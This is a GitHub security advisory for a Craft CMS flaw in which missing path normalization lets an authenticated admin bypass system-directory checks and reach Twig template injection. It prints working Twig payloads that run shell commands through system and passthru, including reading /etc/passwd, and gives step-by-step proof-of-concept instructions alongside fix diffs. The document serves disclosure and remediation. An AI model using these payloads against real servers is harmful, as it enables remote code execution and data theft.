GHSA-f3cw-hg6r-chfv
Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | craftcms/cms | >= 4.0.0-RC1, < 4.12.2 | 4.12.2 |
| Packagist | craftcms/cms | >= 5.0.0-RC1, < 5.4.3 | 5.4.3 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Missing `normalizePath` in the function `FileHelper::absolutePath` could lead to Remote Code Execution on the server via twig SSTI.
`(Post-authentication, ALLOW_ADMIN_CHANGES=true)`
### Details
Note: This is a sequel to [CVE-2023-40035](https://github.com/craftcms/cms/security/advisories/GHSA-44wr-rmwq-3phw)
In [`src/helpers/FileHelper.php#L106-L137`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/helpers/FileHelper.php#L106-L137), the function `absolutePath` returned `$from . $ds . $to` without path normalization:
```php
/**
* Returns an absolute path based on a source location or the current working directory.
*
* @param string $to The target path.
* @param string|null $from The source location. Defaults to the current working directory.
* @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
* @return string
* @since 4.3.5
*/
public static function absolutePath(
string $to,
?string $from = null,
string $ds = DIRECTORY_SEPARATOR,
): string {
$to = static::normalizePath($to, $ds);
// Already absolute?
if (
str_starts_with($to, $ds) ||
preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
) {
return $to;
}
if ($from === null) {
$from = FileHelper::normalizePath(getcwd(), $ds);
} else {
$from = static::absolutePath($from, ds: $ds);
}
return $from . $ds . $to;
}
```
This could leads to multiple security risks, one of them is in [`src/services/Security.php#L201-L220`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/services/Security.php#L201-L220) where `../templates/poc` is not considered a system dir.
Let's see what happens after calling `isSystemDir("../templates/poc")`:
```php
/**
* Returns whether the given file path is located within or above any system directories.
*
* @param string $path
* @return bool
* @since 5.4.2
*/
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
$path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"
foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
$dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
return true;
}
}
return false; // We're here!
}
```
Now that the path `../templates/poc` can bypass `isSystemDir`, it will also bypass the function `validatePath` in [`src/fs/Local.php#L124-L136`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/fs/Local.php#L124-L136):
```php
/**
* @param string $attribute
* @param array|null $params
* @param InlineValidator $validator
* @return void
* @since 4.4.6
*/
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
$validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
}
}
```
We can now create a Local filesystem within the system directories, particularly in `/var/www/html/templates/poc`
Then create a new asset volume with that filesystem, upload a `poc.ttml` file with twig code and execute using a new route with template path `poc/poc.ttml`
Although craftcms does sandbox twig ssti, the list in [src/web/twig/Extension.php#L180-L268](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/web/twig/Extension.php#L180-L268) is still incomplete.
```js
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}
```
These payloads still work, see [twigphp/Twig/src/Extension/CoreExtension.php#getFilters()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L196-L247) and [twigphp/Twig/src/Extension/CoreExtension.php#getOperators()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L291-L333) for more informations.
### PoC
1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start
```sh
mkdir craftcms && cd craftcms
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer create -y --no-scripts "craftcms/craft"
ddev craft install
php craft setup/security-key
ddev start
```
<img width="1280" alt="start" src="https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3">
2. Create a new filesystem with base path `../templates/poc`
<img width="1280" alt="filesystem" src="https://github.com/user-attachments/assets/fe78e023-bd51-4fc1-a22e-dcfa5baf266b">
Notice that the `poc` directory was created
<img width="167" alt="dir" src="https://github.com/user-attachments/assets/ccc45ce8-8555-4aae-ae48-320a630e7d79">
3. Create a new asset volume using the `poc` filesystem
<img width="1280" alt="asset" src="https://github.com/user-attachments/assets/b5530766-11b4-4e45-ae58-82f81fc2db00">
Upload a `poc.ttml` file with RCE template code
```js
{{'<pre>'}}
{{ 8*8 }}
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}
```
Note: `find` was added to twig [last month](https://github.com/twigphp/Twig/commit/4e262511930e408e4c7eda07b1c977f2ea98575c). If you're running this poc on an older version of twig try removing the last 2 lines.
<img width="1280" alt="upload" src="https://github.com/user-attachments/assets/63e65beb-2ede-4141-85d2-e7d21cd4b8ad">

4. Create a new route `*` with template `poc/poc.ttml`
<img width="1280" alt="route" src="https://github.com/user-attachments/assets/b92d9340-b6a5-40d8-a8e8-ddab5cfc9f21">
5. This leads to Remote Code Execution on arbitrary route `/*`
<img width="454" alt="rce" src="https://github.com/user-attachments/assets/19765f6c-1c28-4a0b-a89c-25f6f05ceca6">
### Remediation
```diff
diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php
index 0c2da884a7..ac23ce556a 100644
--- a/src/helpers/FileHelper.php
+++ b/src/helpers/FileHelper.php
@@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper
$from = static::absolutePath($from, ds: $ds);
}
- return $from . $ds . $to;
+ return FileHelper::normalizePath($from . $ds . $to);
}
/**
```

See [twigphp/Twig/src/Extension/CoreExtension.php](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php) for updated filters and operators, a possible fix could look like:
```diff
diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php
index efff2d2412..756f452f8b 100644
--- a/src/web/twig/Extension.php
+++ b/src/web/twig/Extension.php
@@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface
new TwigFilter('lcfirst', [$this, 'lcfirstFilter']),
new TwigFilter('literal', [$this, 'literalFilter']),
new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),
+ new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]),
+ new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
+ new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
new TwigFilter('merge', [$this, 'mergeFilter']),
```

### Impact
Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
Although the vulnerability is exploitable only in the authenticated users, configuration with `ALLOW_ADMIN_CHANGES=true`, there is still a potential security threat (Remote Code Execution)
References
External links from the advisory. They lead to third-party sites.